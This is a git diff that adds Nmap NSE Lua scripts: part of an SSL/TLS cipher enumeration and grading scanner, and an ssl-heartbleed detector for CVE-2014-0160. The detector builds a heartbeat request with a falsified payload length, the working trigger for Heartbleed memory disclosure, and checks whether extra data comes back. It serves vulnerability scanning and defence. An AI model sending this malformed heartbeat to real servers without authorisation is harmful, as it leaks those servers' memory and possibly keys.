+ local fragment
+ return function ()
+ local record
+ i, record = tls.record_read(buffer, i, fragment)
+ if record == nil then
+ local status, err
+ status, buffer, err = tls.record_buffer(sock, buffer, i)
+ if not status then
+ return nil, err
+ end
+ i, record = tls.record_read(buffer, i, fragment)
+ if record == nil then
+ return nil, "done"
+ end
+ end
+ fragment = record.fragment
+ return record
+ end
+end
+
+local function try_params(host, port, t)
+
+ -- Use Nmap's own discovered timeout plus 5 seconds for host processing
+ -- Default to 10 seconds total.
+ local timeout = ((host.times and host.times.timeout) or 5) * 1000 + 5000
+
+ -- Create socket.
+ local status, sock, err
+ local specialized = sslcert.getPrepareTLSWithoutReconnect(port)
+ if specialized then
+ status, sock = specialized(host, port)
+ if not status then
+ ctx_log(1, t.protocol, "Can't connect: %s", sock)
+ return nil
+ end
+ else
+ sock = nmap.new_socket()
+ sock:set_timeout(timeout)
+ status, err = sock:connect(host, port)
+ if not status then
+ ctx_log(1, t.protocol, "Can't connect: %s", err)
+ sock:close()
+ return nil
+ end
+ end
+
+ sock:set_timeout(timeout)
+
+ -- Send request.
+ local req = tls.client_hello(t)
+ status, err = sock:send(req)
+ if not status then
+ ctx_log(1, t.protocol, "Can't send: %s", err)
+ sock:close()
+ return nil
+ end
+
+ -- Read response.
+ local get_next_record = get_record_iter(sock)
+ local records = {}
+ while true do
+ local record
+ record, err = get_next_record()
+ if not record then
+ ctx_log(1, t.protocol, "Couldn't read a TLS record: %s", err)
+ sock:close()
+ return records
+ end
+ -- Collect message bodies into one record per type
+ records[record.type] = records[record.type] or record
+ local done = false
+ for j = 1, #record.body do -- no ipairs because we append below
+ local b = record.body[j]
+ done = ((record.type == "alert" and b.level == "fatal") or
+ (record.type == "handshake" and (b.type == "server_hello_done" or
+ -- TLSv1.3 does not have server_hello_done
+ (t.protocol == "TLSv1.3" and b.type == "server_hello")))
+ )
+ table.insert(records[record.type].body, b)
+ end
+ if done then
+ sock:close()
+ return records
+ end
+ end
+end
+
+local function sorted_keys(t)
+ local ret = {}
+ for k, _ in pairs(t) do
+ ret[#ret+1] = k
+ end
+ table.sort(ret)
+ return ret
+end
+
+local function in_chunks(t, size)
+ size = math.floor(size)
+ if size < 1 then size = 1 end
+ local ret = {}
+ for i = 1, #t, size do
+ local chunk = {}
+ for j = i, i + size - 1 do
+ chunk[#chunk+1] = t[j]
+ end
+ ret[#ret+1] = chunk
+ end
+ return ret
+end
+
+local function remove(t, e)
+ for i, v in ipairs(t) do
+ if v == e then
+ table.remove(t, i)
+ return i
+ end
+ end
+ return nil
+end
+
+local function slice(t, i, j)
+ local output = {}
+ while i <= j do
+ output[#output+1] = t[i]
+ i = i + 1
+ end
+ return output
+end
+
+local function merge(a, b, cmp)
+ local output = {}
+ local i = 1
+ local j = 1
+ while i <= #a and j <= #b do
+ local winner, err = cmp(a[i], b[j])
+ if not winner then
+ return nil, err
+ end
+ if winner == a[i] then
+ output[#output+1] = a[i]
+ i = i + 1
+ else
+ output[#output+1] = b[j]
+ j = j + 1
+ end
+ end
+ while i <= #a do
+ output[#output+1] = a[i]
+ i = i + 1
+ end
+ while j <= #b do
+ output[#output+1] = b[j]
+ j = j + 1
+ end
+ return output
+end
+
+local function merge_recursive(chunks, cmp)
+ if #chunks == 0 then
+ return {}
+ elseif #chunks == 1 then
+ return chunks[1]
+ else
+ local m = math.floor(#chunks / 2)
+ local a, b = slice(chunks, 1, m), slice(chunks, m+1, #chunks)
+ local am, err = merge_recursive(a, cmp)
+ if not am then
+ return nil, err
+ end
+ local bm, err = merge_recursive(b, cmp)
+ if not bm then
+ return nil, err
+ end
+ return merge(am, bm, cmp)
+ end
+end
+
+-- https://bugzilla.mozilla.org/show_bug.cgi?id=946147
+local function remove_high_byte_ciphers(t)
+ local output = {}
+ for i, v in ipairs(t) do
+ if tls.CIPHERS[v] <= 255 then
+ output[#output+1] = v
+ end
+ end
+ return output
+end
+
+-- Get TLS extensions
+local function base_extensions(host)
+ local tlsname = tls.servername(host)
+ return {
+ -- Claim to support common elliptic curves
+ -- TODO: Determine desire to comply with RFC 4492, section 4:
+ -- "The client MUST NOT include these extensions in the ClientHello
+ -- message if it does not propose any ECC cipher suites."
+ -- OTOH, OpenSSL 1.1.1 sends them always so it is probably safe.
+ ["elliptic_curves"] = tls.EXTENSION_HELPERS["elliptic_curves"](tls.DEFAULT_ELLIPTIC_CURVES),
+ -- Some servers require Supported Point Formats Extension
+ ["ec_point_formats"] = tls.EXTENSION_HELPERS["ec_point_formats"]({"uncompressed"}),
+ -- Enable SNI if a server name is available
+ ["server_name"] = tlsname and tls.EXTENSION_HELPERS["server_name"](tlsname),
+ }
+end
+
+-- Get a message body from a record which has the specified property set to value
+local function get_body(record, property, value)
+ for i, b in ipairs(record.body) do
+ if b[property] == value then
+ return b
+ end
+ end
+ return nil
+end
+
+-- Score a ciphersuite implementation (including key exchange info)
+local function score_cipher (kex_strength, cipher_info)
+ local kex_score, cipher_score
+ if not kex_strength or not cipher_info.size then
+ return "unknown"
+ end
+ if kex_strength <= 0 then
+ return 0
+ elseif kex_strength < 512 then
+ kex_score = 0.2
+ elseif kex_strength < 1024 then
+ kex_score = 0.4
+ elseif kex_strength < 2048 then
+ kex_score = 0.8
+ elseif kex_strength < 4096 then
+ kex_score = 0.9
+ else
+ kex_score = 1.0
+ end
+
+ if cipher_info.size <= 0 then
+ return 0
+ elseif cipher_info.size < 128 then
+ cipher_score = 0.2
+ elseif cipher_info.size < 256 then
+ cipher_score = 0.8
+ else
+ cipher_score = 1.0
+ end
+
+ -- Based on SSL Labs' 30-30-40 rating without the first 30% (protocol support)
+ return 0.43 * kex_score + 0.57 * cipher_score
+end
+
+local function letter_grade (score)
+ if not tonumber(score) then return "unknown" end
+ if score >= 0.80 then
+ return "A"
+ elseif score >= 0.65 then
+ return "B"
+ elseif score >= 0.50 then
+ return "C"
+ elseif score >= 0.35 then
+ return "D"
+ elseif score >= 0.20 then
+ return "E"
+ else
+ return "F"
+ end
+end
+
+local tls13proto = tls.PROTOCOLS["TLSv1.3"]
+local tls13supported = tls.EXTENSION_HELPERS.supported_versions({"TLSv1.3"})
+local function get_hello_table(host, protocol)
+ local t = {
+ protocol = protocol,
+ record_protocol = protocol, -- improve chances of immediate rejection
+ extensions = base_extensions(host),
+ }
+
+ -- supported_versions extension required for TLSv1.3
+ if (tls.PROTOCOLS[protocol] >= tls13proto) then
+ t.extensions.supported_versions = tls13supported
+ end
+
+ return t
+end
+
+-- Find which ciphers out of group are supported by the server.
+local function find_ciphers_group(host, port, protocol, group, scores)
+ local results = {}
+ local t = get_hello_table(host, protocol)
+
+ -- This is a hacky sort of tristate variable. There are three conditions:
+ -- 1. false = either ciphers or protocol is bad. Keep trying with new ciphers
+ -- 2. nil = The protocol is bad. Abandon thread.
+ -- 3. true = Protocol works, at least some cipher must be supported.
+ local protocol_worked = false
+ while (next(group)) do
+ t["ciphers"] = group
+
+ local records = try_params(host, port, t)
+ if not records then
+ return nil
+ end
+ local handshake = records.handshake
+
+ if handshake == nil then
+ local alert = records.alert
+ if alert then
+ ctx_log(2, protocol, "Got alert: %s", alert.body[1].description)
+ if not tls.record_version_ok(alert["protocol"], protocol) then
+ ctx_log(1, protocol, "Protocol mismatch (received %s)", alert.protocol)
+ -- Sometimes this is not an actual rejection of the protocol. Check specifically:
+ if get_body(alert, "description", "protocol_version") then
+ protocol_worked = nil
+ end
+ break
+ elseif get_body(alert, "description", "handshake_failure")
+ or get_body(alert, "description", "insufficient_security") then
+ protocol_worked = true
+ ctx_log(2, protocol, "%d ciphers rejected.", #group)
+ break
+ end
+ elseif protocol_worked then
+ ctx_log(2, protocol, "%d ciphers rejected. (No handshake)", #group)
+ else
+ ctx_log(1, protocol, "%d ciphers and/or protocol rejected. (No handshake)", #group)
+ end
+ break
+ else
+ local server_hello = get_body(handshake, "type", "server_hello")
+ if not server_hello then
+ ctx_log(2, protocol, "Unexpected record received.")
+ break
+ end
+ if server_hello.protocol ~= protocol then
+ ctx_log(1, protocol, "Protocol rejected. cipher: %s", server_hello.cipher)
+ -- Some implementations will do this if a cipher is supported in some
+ -- other protocol version but not this one. Gotta keep trying.
+ if not remove(group, server_hello.cipher) then
+ -- But if we didn't even offer this cipher, then give up. Crazy!
+ protocol_worked = protocol_worked or nil
+ end
+ break
+ else
+ protocol_worked = true
+ local name = server_hello.cipher
+ ctx_log(2, protocol, "Cipher %s chosen.", name)
+ if not remove(group, name) then
+ ctx_log(1, protocol, "chose cipher %s that was not offered.", name)
+ ctx_log(1, protocol, "removing high-byte ciphers and trying again.")
+ local size_before = #group
+ group = remove_high_byte_ciphers(group)
+ ctx_log(1, protocol, "removed %d high-byte ciphers.", size_before - #group)
+ if #group == size_before then
+ -- No changes... Server just doesn't like our offered ciphers.
+ break
+ end
+ else
+ -- Add cipher to the list of accepted ciphers.
+ table.insert(results, name)
+ if scores then
+ local info = tls.cipher_info(name)
+ -- Some warnings:
+ if info.hash and info.hash == "MD5" then
+ scores.warnings["Ciphersuite uses MD5 for message integrity"] = true
+ end
+ if info.mode and info.mode == "CBC" and info.block_size <= 64 then
+ scores.warnings[("64-bit block cipher %s vulnerable to SWEET32 attack"):format(info.cipher)] = true
+ end
+ if protocol == "SSLv3" and info.mode and info.mode == "CBC" then
+ scores.warnings["CBC-mode cipher in SSLv3 (CVE-2014-3566)"] = true
+ elseif info.cipher == "RC4" then
+ scores.warnings["Broken cipher RC4 is deprecated by RFC 7465"] = true
+ end
+ if protocol == "TLSv1.3" and not info.tls13ok then
+ scores.warnings["Non-TLSv1.3 ciphersuite chosen for TLSv1.3"] = true
+ end
+ local kex = tls.KEX_ALGORITHMS[info.kex]
+ scores.any_pfs_ciphers = kex.pfs or scores.any_pfs_ciphers
+ local extra, kex_strength
+ if kex.export then
+ scores.warnings["Export key exchange"] = true
+ if info.kex:find("1024$") then
+ kex_strength = 1024
+ else
+ kex_strength = 512
+ end
+ end
+ if kex.anon then
+ scores.warnings["Anonymous key exchange, score capped at F"] = true
+ kex_strength = 0
+ elseif have_ssl and kex.pubkey then
+ local certs = get_body(handshake, "type", "certificate")
+ -- Assume RFC compliance:
+ -- "The sender's certificate MUST come first in the list."
+ -- This may not always be the case, so
+ -- TODO: reorder certificates and validate entire chain
+ -- TODO: certificate validation (date, self-signed, etc)
+ local c, err
+ if certs == nil then
+ err = "no certificate message"
+ else
+ c, err = sslcert.parse_ssl_certificate(certs.certificates[1])
+ end
+ if not c then
+ ctx_log(1, protocol, "Failed to parse certificate: %s", err)
+ elseif c.pubkey.type == kex.pubkey then
+ local sigalg = c.sig_algorithm:match("([mM][dD][245])") or c.sig_algorithm:match("([sS][hH][aA]1)")
+ if sigalg then
+ kex_strength = 0
+ scores.warnings[("Insecure certificate signature (%s), score capped at F"):format(string.upper(sigalg))] = true
+ end
+ local rsa_bits = tls.rsa_equiv(kex.pubkey, c.pubkey.bits)
+ kex_strength = math.min(kex_strength or rsa_bits, rsa_bits)
+ if c.pubkey.exponent then
+ if openssl.bignum_bn2dec(c.pubkey.exponent) == "1" then
+ kex_strength = 0
+ scores.warnings["Certificate RSA exponent is 1, score capped at F"] = true
+ end
+ end
+ if c.pubkey.ecdhparams then
+ if c.pubkey.ecdhparams.curve_params.ec_curve_type == "namedcurve" then
+ extra = c.pubkey.ecdhparams.curve_params.curve
+ else
+ extra = string.format("%s %d", c.pubkey.ecdhparams.curve_params.ec_curve_type, c.pubkey.bits)
+ end
+ else
+ extra = string.format("%s %d", kex.pubkey, c.pubkey.bits)
+ end
+ end
+ end
+ local ske
+ if protocol == "TLSv1.3" then
+ ske = server_hello.extensions.key_share
+ elseif kex.server_key_exchange then
+ ske = get_body(handshake, "type", "server_key_exchange")
+ if ske then
+ ske = ske.data
+ end
+ end
+ if ske then
+ local kex_info = kex.server_key_exchange(ske, protocol)
+ if kex_info.strength then
+ local kex_type = kex_info.type or kex.type
+ if kex_info.ecdhparams then
+ if kex_info.ecdhparams.curve_params.ec_curve_type == "namedcurve" then
+ extra = kex_info.ecdhparams.curve_params.curve
+ else
+ extra = string.format("%s %d", kex_info.ecdhparams.curve_params.ec_curve_type, kex_info.strength)
+ end
+ else
+ extra = string.format("%s %d", kex_type, kex_info.strength)
+ end
+ local rsa_bits = tls.rsa_equiv(kex_type, kex_info.strength)
+ if kex_strength and kex_strength > rsa_bits then
+ kex_strength = rsa_bits
+ scores.warnings[(
+ "Key exchange (%s) of lower strength than certificate key"
+ ):format(extra)] = true
+ end
+ kex_strength = math.min(kex_strength or rsa_bits, rsa_bits)
+ end
+ if kex_info.rsa and kex_info.rsa.exponent == 1 then
+ kex_strength = 0
+ scores.warnings["Certificate RSA exponent is 1, score capped at F"] = true
+ end
+ end
+ scores[name] = {
+ cipher_strength=info.size,
+ kex_strength = kex_strength,
+ extra = extra,
+ letter_grade = letter_grade(score_cipher(kex_strength, info))
+ }
+ end
+ end
+ end
+ end
+ end
+ return results, protocol_worked
+end
+
+local function get_chunk_size(host, protocol)
+ -- Try to make sure we don't send too big of a handshake
+ -- https://github.com/ssllabs/research/wiki/Long-Handshake-Intolerance
+ local len_t = get_hello_table(host, protocol)
+ len_t.ciphers = {}
+ local cipher_len_remaining = 255 - #tls.client_hello(len_t)
+ -- if we're over 255 anyway, just go for it.
+ -- Each cipher adds 2 bytes
+ local max_chunks = cipher_len_remaining > 1 and cipher_len_remaining // 2 or CHUNK_SIZE
+ -- otherwise, use the min
+ return max_chunks < CHUNK_SIZE and max_chunks or CHUNK_SIZE
+end
+
+-- Break the cipher list into chunks of CHUNK_SIZE (for servers that can't
+-- handle many client ciphers at once), and then call find_ciphers_group on
+-- each chunk.
+local function find_ciphers(host, port, protocol)
+
+ local candidates = {}
+ -- TLSv1.3 ciphers are different, though some are shared (ECCPWD)
+ local tls13 = protocol == "TLSv1.3"
+ for _, c in ipairs(sorted_keys(tls.CIPHERS)) do
+ local info = tls.cipher_info(c)
+ if (not tls13 and not info.tls13only)
+ or (tls13 and info.tls13ok) then
+ candidates[#candidates+1] = c
+ end
+ end
+ local ciphers = in_chunks(candidates, get_chunk_size(host, protocol))
+
+ local results = {}
+ local scores = {warnings={}}
+ -- Try every cipher.
+ for _, group in ipairs(ciphers) do
+ local chunk, protocol_worked = find_ciphers_group(host, port, protocol, group, scores)
+ if protocol_worked == nil then return nil end
+ for _, name in ipairs(chunk) do
+ table.insert(results, name)
+ end
+ end
+ if not next(results) then return nil end
+ scores.warnings["Forward Secrecy not supported by any cipher"] = (not scores.any_pfs_ciphers) or nil
+ scores.any_pfs_ciphers = nil
+
+ return results, scores
+end
+
+local function find_compressors(host, port, protocol, good_ciphers)
+ local compressors = sorted_keys(tls.COMPRESSORS)
+ local t = get_hello_table(host, protocol)
+ t.ciphers = good_ciphers
+
+ local results = {}
+
+ -- Try every compressor.
+ local protocol_worked = false
+ while (next(compressors)) do
+ -- Create structure.
+ t["compressors"] = compressors
+
+ -- Try connecting with compressor.
+ local records = try_params(host, port, t)
+ local handshake = records.handshake
+
+ if handshake == nil then
+ local alert = records.alert
+ if alert then
+ ctx_log(2, protocol, "Got alert: %s", alert.body[1].description)
+ if not tls.record_version_ok(alert["protocol"], protocol) then
+ ctx_log(1, protocol, "Protocol rejected.")
+ protocol_worked = nil
+ break
+ elseif get_body(alert, "description", "handshake_failure") then
+ protocol_worked = true
+ ctx_log(2, protocol, "%d compressors rejected.", #compressors)
+ -- Should never get here, because NULL should be good enough.
+ -- The server may just not be able to handle multiple compressors.
+ if #compressors > 1 then -- Make extra-sure it's not crazily rejecting the NULL compressor
+ compressors[1] = "NULL"
+ for i = 2, #compressors, 1 do
+ compressors[i] = nil
+ end
+ -- try again.
+ else
+ break
+ end
+ end
+ elseif protocol_worked then
+ ctx_log(2, protocol, "%d compressors rejected. (No handshake)", #compressors)
+ else
+ ctx_log(1, protocol, "%d compressors and/or protocol rejected. (No handshake)", #compressors)
+ end
+ break
+ else
+ local server_hello = get_body(handshake, "type", "server_hello")
+ if not server_hello then
+ ctx_log(2, protocol, "Unexpected record received.")
+ break
+ end
+ if server_hello.protocol ~= protocol then
+ ctx_log(1, protocol, "Protocol rejected.")
+ protocol_worked = (protocol_worked == nil) and nil or false
+ break
+ else
+ protocol_worked = true
+ local name = server_hello.compressor
+ ctx_log(2, protocol, "Compressor %s chosen.", name)
+ remove(compressors, name)
+
+ -- Add compressor to the list of accepted compressors.
+ table.insert(results, name)
+ if name == "NULL" then
+ break -- NULL is always last choice, and must be included
+ end
+ end
+ end
+ end
+
+ return results
+end
+
+-- Offer two ciphers and return the one chosen by the server. Returns nil and
+-- an error message in case of a server error.
+local function compare_ciphers(host, port, protocol, cipher_a, cipher_b)
+ local t = get_hello_table(host, protocol)
+ t.ciphers = {cipher_a, cipher_b}
+ local records = try_params(host, port, t)
+ local server_hello = records.handshake and get_body(records.handshake, "type", "server_hello")
+ if server_hello then
+ ctx_log(2, protocol, "compare %s %s -> %s", cipher_a, cipher_b, server_hello.cipher)
+ return server_hello.cipher
+ else
+ ctx_log(2, protocol, "compare %s %s -> error", cipher_a, cipher_b)
+ return nil, string.format("Error when comparing %s and %s", cipher_a, cipher_b)
+ end
+end
+
+-- Try to find whether the server prefers its own ciphersuite order or that of
+-- the client.
+--
+-- The return value is (preference, err). preference is a string:
+-- "server": the server prefers its own order. In this case ciphers is non-nil.
+-- "client": the server follows the client preference. ciphers is nil.
+-- "indeterminate": returned when there are only 0 or 1 ciphers. ciphers is nil.
+-- nil: an error occurred during the test. err is non-nil.
+-- err is an error message string that is non-nil when preference is nil or
+-- indeterminate.
+--
+-- The algorithm tries offering two ciphersuites in two different orders. If
+-- the server makes a different choice each time, "client" preference is
+-- assumed. Otherwise, "server" preference is assumed.
+local function find_cipher_preference(host, port, protocol, ciphers)
+ -- Too few ciphers to make a decision?
+ if #ciphers < 2 then
+ return "indeterminate", "Too few ciphers supported"
+ end
+
+ -- Do a comparison in both directions to see if server ordering is consistent.
+ local cipher_a, cipher_b = ciphers[1], ciphers[2]
+ ctx_log(1, protocol, "Comparing %s to %s", cipher_a, cipher_b)
+ local winner_forwards, err = compare_ciphers(host, port, protocol, cipher_a, cipher_b)
+ if not winner_forwards then
+ return nil, err
+ end
+ local winner_backward, err = compare_ciphers(host, port, protocol, cipher_b, cipher_a)
+ if not winner_backward then
+ return nil, err
+ end
+ if winner_forwards ~= winner_backward then
+ return "client", nil
+ end
+ return "server", nil
+end
+
+-- Sort ciphers according to server preference with a modified merge sort
+local function sort_ciphers(host, port, protocol, ciphers)
+ local chunks = {}
+ for _, group in ipairs(in_chunks(ciphers, get_chunk_size(host, protocol))) do
+ local size = #group
+ local chunk = find_ciphers_group(host, port, protocol, group)
+ if not chunk then
+ return nil, "Network error"
+ end
+ if #chunk ~= size then
+ ctx_log(1, protocol, "warning: %d ciphers offered but only %d accepted", size, #chunk)
+ end
+ table.insert(chunks, chunk)
+ end
+
+ -- The comparison operator for the merge is a 2-cipher ClientHello.
+ local function cmp(cipher_a, cipher_b)
+ return compare_ciphers(host, port, protocol, cipher_a, cipher_b)
+ end
+ local sorted, err = merge_recursive(chunks, cmp)
+ if not sorted then
+ return nil, err
+ end
+ return sorted
+end
+
+local function try_protocol(host, port, protocol, upresults)
+ local condvar = nmap.condvar(upresults)
+
+ local results = stdnse.output_table()
+
+ -- Find all valid ciphers.
+ local ciphers, scores = find_ciphers(host, port, protocol)
+ if ciphers == nil then
+ condvar "signal"
+ return nil
+ end
+
+ if #ciphers == 0 then
+ results = {ciphers={},compressors={}}
+ setmetatable(results,{
+ __tostring=function(t) return "No supported ciphers found" end
+ })
+ upresults[protocol] = results
+ condvar "signal"
+ return nil
+ end
+ -- Find all valid compression methods.
+ local compressors
+ -- RFC 8446: "For every TLS 1.3 ClientHello, this vector MUST contain exactly
+ -- one byte, set to zero"
+ if (tls.PROTOCOLS[protocol] < tls13proto) then
+ -- Reduce chunk size by 1 to allow extra room for the extra compressors (2 bytes)
+ for _, c in ipairs(in_chunks(ciphers, get_chunk_size(host, protocol) - 1)) do
+ compressors = find_compressors(host, port, protocol, c)
+ -- I observed a weird interaction between ECDSA ciphers and DEFLATE compression.
+ -- Some servers would reject the handshake if no non-ECDSA ciphers were available.
+ -- Sending 64 ciphers at a time should be sufficient, but we'll try them all if necessary.
+ if compressors and #compressors ~= 0 then
+ break
+ end
+ end
+ end
+
+ -- Note the server's cipher preference algorithm.
+ local cipher_pref, cipher_pref_err = find_cipher_preference(host, port, protocol, ciphers)
+
+ -- Order ciphers according to server preference, if possible
+ if cipher_pref == "server" then
+ local sorted, err = sort_ciphers(host, port, protocol, ciphers)
+ if sorted then
+ ciphers = sorted
+ else
+ -- Can't sort, fall back to alphabetical order
+ table.sort(ciphers)
+ cipher_pref_err = err
+ end
+ else
+ -- fall back to alphabetical order
+ table.sort(ciphers)
+ end
+
+ -- Add rankings to ciphers
+ for i, name in ipairs(ciphers) do
+ local outcipher = {name=name, kex_info=scores[name].extra, strength=scores[name].letter_grade}
+ setmetatable(outcipher,{
+ __tostring=function(t)
+ if t.kex_info then
+ return string.format("%s (%s) - %s", t.name, t.kex_info, t.strength)
+ else
+ return string.format("%s - %s", t.name, t.strength)
+ end
+ end
+ })
+ ciphers[i]=outcipher
+ end
+
+ results["ciphers"] = ciphers
+
+ -- Format the compressor table.
+ if compressors then
+ table.sort(compressors)
+ end
+ results["compressors"] = compressors
+
+ results["cipher preference"] = cipher_pref
+ results["cipher preference error"] = cipher_pref_err
+ if next(scores.warnings) then
+ results["warnings"] = sorted_keys(scores.warnings)
+ end
+
+ upresults[protocol] = results
+ condvar "signal"
+ return nil
+end
+
+portrule = function (host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+action = function(host, port)
+
+ if not have_ssl then
+ stdnse.verbose("OpenSSL not available; some cipher scores will be marked as unknown.")
+ end
+
+ local results = {}
+
+ local condvar = nmap.condvar(results)
+ local threads = {}
+
+ for name, _ in pairs(tls.PROTOCOLS) do
+ stdnse.debug1("Trying protocol %s.", name)
+ local co = stdnse.new_thread(try_protocol, host, port, name, results)
+ threads[co] = true
+ end
+
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ if not next(results) then
+ return nil
+ end
+
+ local least = "A"
+ for p, r in pairs(results) do
+ for i, c in ipairs(r.ciphers) do
+ -- counter-intuitive: "A" < "B", so really looking for max
+ least = least < c.strength and c.strength or least
+ end
+ end
+ results["least strength"] = least
+
+ return outlib.sorted_by_key(results)
+end
diff --git a/scripts/ssl-heartbleed.nse b/scripts/ssl-heartbleed.nse
new file mode 100644
index 0000000..e2d79e7
--- /dev/null
+++ b/scripts/ssl-heartbleed.nse
@@ -0,0 +1,238 @@
+local match = require('match')
+local nmap = require('nmap')
+local shortport = require('shortport')
+local sslcert = require('sslcert')
+local stdnse = require('stdnse')
+local string = require "string"
+local tableaux = require "tableaux"
+local vulns = require('vulns')
+local have_tls, tls = pcall(require,'tls')
+assert(have_tls, "This script requires the tls.lua library from https://nmap.org/nsedoc/lib/tls.html")
+
+description = [[
+Detects whether a server is vulnerable to the OpenSSL Heartbleed bug (CVE-2014-0160).
+The code is based on the Python script ssltest.py authored by Katie Stafford (katie@ktpanda.org)
+]]
+
+---
+-- @usage
+-- nmap -p 443 --script ssl-heartbleed <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 443/tcp open https
+-- | ssl-heartbleed:
+-- | VULNERABLE:
+-- | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
+-- | State: VULNERABLE
+-- | Risk factor: High
+-- | Description:
+-- | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
+-- |
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
+-- | http://www.openssl.org/news/secadv_20140407.txt
+-- |_ http://cvedetails.com/cve/2014-0160/
+--
+--
+-- @args ssl-heartbleed.protocols (default tries all) TLS 1.0, TLS 1.1, or TLS 1.2
+--
+
+author = "Patrik Karlsson <patrik@cqure.net>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "vuln", "safe" }
+dependencies = {"https-redirect"}
+
+-- TLSv1.3 was not implemented by affected versions of OpenSSL.
+local arg_protocols = stdnse.get_script_args(SCRIPT_NAME .. ".protocols") or {'TLSv1.0', 'TLSv1.1', 'TLSv1.2'}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+local function recvhdr(s)
+ local status, hdr = s:receive_buf(match.numbytes(5), true)
+ if not status then
+ stdnse.debug3('Unexpected EOF receiving record header - server closed connection')
+ return
+ end
+ local typ, ver, ln = string.unpack('>B I2 I2', hdr)
+ return status, typ, ver, ln
+end
+
+local function recvmsg(s, len)
+ local status, pay = s:receive_buf(match.numbytes(len), true)
+ if not status then
+ stdnse.debug3('Unexpected EOF receiving record payload - server closed connection')
+ return
+ end
+ return true, pay
+end
+
+local function testversion(host, port, version)
+
+ local hello = tls.client_hello({
+ ["protocol"] = version,
+ -- Claim to support every cipher
+ -- Doesn't work with IIS, but IIS isn't vulnerable
+ ["ciphers"] = tableaux.keys(tls.CIPHERS),
+ ["compressors"] = {"NULL"},
+ ["extensions"] = {
+ -- Claim to support common elliptic curves
+ ["elliptic_curves"] = tls.EXTENSION_HELPERS["elliptic_curves"](tls.DEFAULT_ELLIPTIC_CURVES),
+ ["heartbeat"] = "\x01", -- peer_not_allowed_to_send
+ },
+ })
+
+ local payload = "Nmap ssl-heartbleed"
+ local hb = tls.record_write("heartbeat", version, string.pack("B>I2",
+ 1, -- HeartbeatMessageType heartbeat_request
+ 0x4000) -- payload length (falsified)
+ -- payload length is based on 4096 - 16 bytes padding - 8 bytes packet
+ -- header + 1 to overflow
+ .. payload -- less than payload length.
+ )
+
+ local status, s, err
+ local specialized = sslcert.getPrepareTLSWithoutReconnect(port)
+ if specialized then
+ status, s = specialized(host, port)
+ if not status then
+ stdnse.debug3("Connection to server failed: %s", s)
+ return
+ end
+ else
+ s = nmap.new_socket()
+ status, err = s:connect(host, port)
+ if not status then
+ stdnse.debug3("Connection to server failed: %s", err)
+ return
+ end
+ end
+
+ s:set_timeout(5000)
+
+ -- Send Client Hello to the target server
+ status, err = s:send(hello)
+ if not status then
+ stdnse.debug1("Couldn't send Client Hello: %s", err)
+ s:close()
+ return nil
+ end
+
+ -- Read response
+ local done = false
+ local supported = false
+ local i = 1
+ local response
+ repeat
+ status, response, err = tls.record_buffer(s, response, i)
+ if err == "TIMEOUT" then
+ -- Timed out while waiting for server_hello_done
+ -- Could be client certificate required or other message required
+ -- Let's just drop out and try sending the heartbeat anyway.
+ done = true
+ break
+ elseif not status then
+ stdnse.debug1("Couldn't receive: %s", err)
+ s:close()
+ return nil
+ end
+
+ local record
+ i, record = tls.record_read(response, i)
+ if record == nil then
+ stdnse.debug1("Unknown response from server")
+ s:close()
+ return nil
+ elseif record.protocol ~= version then
+ stdnse.debug1("Protocol version mismatch")
+ s:close()
+ return nil
+ end
+
+ if record.type == "handshake" then
+ for _, body in ipairs(record.body) do
+ if body.type == "server_hello" then
+ if body.extensions and body.extensions["heartbeat"] == "\x01" then
+ supported = true
+ end
+ elseif body.type == "server_hello_done" then
+ stdnse.debug1("we're done!")
+ done = true
+ end
+ end
+ end
+ until done
+ if not supported then
+ stdnse.debug1("Server does not support TLS Heartbeat Requests.")
+ s:close()
+ return nil
+ end
+
+ status, err = s:send(hb)
+ if not status then
+ stdnse.debug1("Couldn't send heartbeat request: %s", err)
+ s:close()
+ return nil
+ end
+ while(true) do
+ local status, typ, ver, len = recvhdr(s)
+ if not status then
+ stdnse.debug1('No heartbeat response received, server likely not vulnerable')
+ break
+ end
+ if typ == 24 then
+ local pay
+ status, pay = recvmsg(s, 0x0fe9)
+ s:close()
+ if #pay > 3 then
+ return true
+ else
+ stdnse.debug1('Server processed malformed heartbeat, but did not return any extra data.')
+ break
+ end
+ elseif typ == 21 then
+ stdnse.debug1('Server returned error, likely not vulnerable')
+ break
+ end
+ end
+
+end
+
+action = function(host, port)
+ local vuln_table = {
+ title = "The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ description = [[
+OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
+ ]],
+
+ references = {
+ 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160',
+ 'http://www.openssl.org/news/secadv_20140407.txt ',
+ 'http://cvedetails.com/cve/2014-0160/'
+ }
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local test_vers = arg_protocols
+
+ if type(test_vers) == 'string' then
+ test_vers = { test_vers }
+ end
+
+ for _, ver in ipairs(test_vers) do
+ if nil == tls.PROTOCOLS[ver] then
+ return "\n Unsupported protocol version: " .. ver
+ end
+ local status = testversion(host, port, ver)
+ if ( status ) then
+ vuln_table.state = vulns.STATE.VULN
+ break
+ end
+ end
+
+ return report:make_output(vuln_table)
+end
